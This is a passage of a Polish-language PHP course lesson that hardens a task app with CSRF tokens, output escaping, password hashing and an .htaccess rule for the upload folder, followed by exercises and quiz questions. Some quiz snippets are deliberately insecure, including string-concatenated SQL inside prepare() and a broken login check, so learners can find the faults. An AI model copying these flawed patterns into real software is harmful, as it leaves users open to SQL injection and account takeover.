<label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
<input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>
<button type="submit">Zapisz avatar</button>
</form>
<?php require_once __DIR__ . '/includes/footer.php'; ?>
dodaj-zadanie.php — zmiany
- znajdź linię zaczynającą się od:
$bledy = walidujNoweZadanie(
(Ctrl+F → walidujNoweZadanie). Jest w bloku if ($_SERVER['REQUEST_METHOD'] === 'POST') {, zaraz pod liniami, które odczytują pola formularza.
Zamień ją na:
if (!sprawdzTokenCsrf()) {
$bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
} else {
$bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
}
- Tuż przed
$nazwaStrony = ...:$tokenCsrf = pobierzTokenCsrf();. - Ramka awarii:
<?= htmlspecialchars($bladZapisu); ?>– sprawdź czy jest htmlspecialchars(). - W formularzu, zaraz po
<form ...>, ukryte pole tokenu. Pola (etykiety bez zmian):
<input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
<input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>
<textarea id="opis" name="opis" rows="3" maxlength="300"><?= htmlspecialchars($opisZadania); ?></textarea>
<input type="date" id="termin" name="termin" value="<?= htmlspecialchars($terminZadania); ?>" required>
<input type="number" id="xp" name="xp" min="1" max="100" value="<?= htmlspecialchars($xpZadania); ?>" required>
oznacz-wykonane.php i usun-zadanie.php — zmiany
- Bezpośrednio pod blokiem „tylko POST”, przed odczytem
$zadanieIdTekst:
if (!sprawdzTokenCsrf()) {
ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
header('Location: index.php');
exit;
}
- W ramce awarii komunikat wyjątku przez
htmlspecialchars($wyjatek->getMessage()).
index.php — zmiany
- Pod blokiem komunikatu jednorazowego:
// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();
- Avatar nad powitaniem:
<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
<img class="avatar" src="<?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar()); ?>" alt="Avatar gracza">
<?php } else { ?>
<span class="avatar avatar-litera"><?= htmlspecialchars(mb_substr($uzytkownik->pobierzImie(), 0, 1)); ?></span>
<?php } ?>
htmlspecialchars()w pozostałych miejscach z tabeli w sekcji 4.3:$bladBazy, imię w powitaniu, login w „Zalogowano jako”, tytuł najpilniejszego zadania, w pętli listy tytuł ($tytulCzysty), skrócony opis i termin, login w rankingu.- Ukryte pole tokenu w trzech formularzach. Przykład „Zrobione!”:
<form class="akcja" method="post" action="oznacz-wykonane.php">
<input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
<input type="hidden" name="id" value="<?= $zadanie->pobierzId(); ?>">
<button type="submit">Zrobione!</button>
</form>
„Usuń” analogicznie. W formularzu „Wyloguj” ukryte pole przed przyciskiem.
diagnostyka.php
W $wymaganePliki dopisane 'rejestracja.php' i 'uploads/avatary/.htaccess' (razem 23 ścieżki). Reszta bez zmian.
includes/footer.php
<p>TaskQuest 2.2</p>
</div>
</body>
</html>
12. Co zmieniliśmy w TaskQuest?
Zostaje
wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji
Dochodzi
baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
pobierzTokenCsrf(): string
sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
pobierzDaneLogowania(mysqli, string $login): ?array
dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu
Nowe mechanizmy PHP: htmlspecialchars(), random_bytes(), bin2hex(), hash_equals(), password_hash() z PASSWORD_DEFAULT, password_verify(), <input type="password">; w brudnopisie $polaczenie->query() (tylko do pokazania ataku), md5() (tylko do porównania), microtime(). Poza PHP: plik .htaccess (Options -Indexes, FilesMatch, Require all denied).
Zmieniamy
walidujDaneLogowania(): nowy parametr$haslo, reguła „Podaj hasło.”,zaloguj.php: pole hasła,password_verify(), wspólny komunikat, token, link do rejestracji,wyloguj.php,oznacz-wykonane.php,usun-zadanie.php,dodaj-zadanie.php,profil.php: sprawdzenie tokenu,index.php,dodaj-zadanie.php,profil.php, strony akcji: escapowanie,diagnostyka.php: 23 ścieżki, stopka:2.2.
Usuwamy
- komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,
- zdanie „Wersja demonstracyjna…” w
zaloguj.php— logowanie nie jest już demonstracyjne, - zmienną
$uzytkownikIdwzaloguj.php— zastępuje ją$daneLogowania(wrejestracja.php$uzytkownikIdjest nowymid), - konta bez hasła (
haslo_hash=NULL).
Co nowego potrafi TaskQuest po tej lekcji?
Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.
13. Zadania końcowe — rozbuduj TaskQuest samodzielnie
Nie są częścią wersji referencyjnej.
A. Zmiana hasła. Na profil.php (albo na nowej stronie zmien-haslo.php) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz password_verify(). Skąd weźmiesz hash, skoro w sesji masz tylko id (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w walidujDaneRejestracji(). Jak ich nie powielić? Nowy hash zapisujesz UPDATEem. Dlaczego warto po zmianie hasła wywołać session_regenerate_id(true)? Jeśli formularz trafi na profil.php, jak strona odróżni go od formularza avatara?
B. Ciasteczko sesji niedostępne dla JavaScriptu. Przed każdym session_start() (8 plików) dodaj session_set_cookie_params(['httponly' => true, 'samesite' => 'Lax']);. Sprawdzenie: w konsoli przeglądarki (F12 → Konsola) polecenie document.cookie przed zmianą pokazuje PHPSESSID, a po zmianie już nie. Odpowiedz: czy HttpOnly zastępuje htmlspecialchars()? Czy SameSite=Lax zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.
C. Blokada po nieudanych próbach. Dodaj do uzytkownicy kolumny nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0 i blokada_do DATETIME NULL. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko innemu graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?
D. Nagłówki bezpieczeństwa. Na samej górze includes/header.php, przed HTML, wyślij header('X-Frame-Options: DENY'); i header('X-Content-Type-Options: nosniff');. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik ramka.html z <iframe src="http://localhost/taskquest/zaloguj.php"> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.
Sprzątanie
- Usuń
brudnopis.php,brudnopis2.phpi (jeśli został)uploads/avatary/test.php. Plikiatak.html,atak2.htmliramka.htmlz pulpitu też usuń. - Sprawdź, że przywrócone są: kolejność
htmlspecialchars(skrocOpis(...))(Eksperyment 1), brakhtmlspecialchars()przeddodajZadanie()(Eksperyment 2), sprawdzanie tokenu wusun-zadanie.php(Eksperyment 3), nazwa.htaccess(Test 8). - Uruchom ponownie
sql/taskquest.sqli opróżnijuploads/avatary/z plikówavatar_...(.htaccesszostaje). - Zaloguj się jako
Kama_2026/KamaQuest26.diagnostyka.php— wszystko[OK].
Do samodzielnego sprawdzenia
[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
[ ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
[ ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
[ ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
[ ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
[ ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
[ ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
[ ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
[ ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
[ ] Wiem, co robi .htaccess w katalogu avatarów.
[ ] Usunęłam/usunąłem brudnopisy i pliki ataków.
Pytania kontrolne
- Kolega pisze:
$zapytanie = $polaczenie->prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");. „Używamprepare(), więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić? - Co dokładnie wyśle PHP do przeglądarki po
<?= htmlspecialchars('<a href="x">Klik</a> & więcej'); ?>i co zobaczy gracz? - Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna
terminbyła typuVARCHAR(20)? - Koleżanka escapuje tytuł przed zapisem do bazy i przy wyświetlaniu. Co zobaczy gracz, który doda zadanie
Tom & Jerry? Co będzie w bazie? - Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.
- W
sprawdzTokenCsrf()ktoś usunął warunek!isset($_SESSION['token_csrf']). Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedyfalse? - Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę
haslo_hash? A gdyby TaskQuest zapisywałmd5($haslo)? Znajdź co najmniej trzy błędy:
$haslo = trim($_POST['haslo'] ?? '');
$dane = pobierzDaneLogowania($polaczenie, $login);
if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {
$_SESSION['uzytkownik_id'] = $dane['id'];
}- Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?
- Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako
avatar_3_1790000000.png. Czy ten kod się wykona bez.htaccess? A z.htaccess? Po co więc ten plik?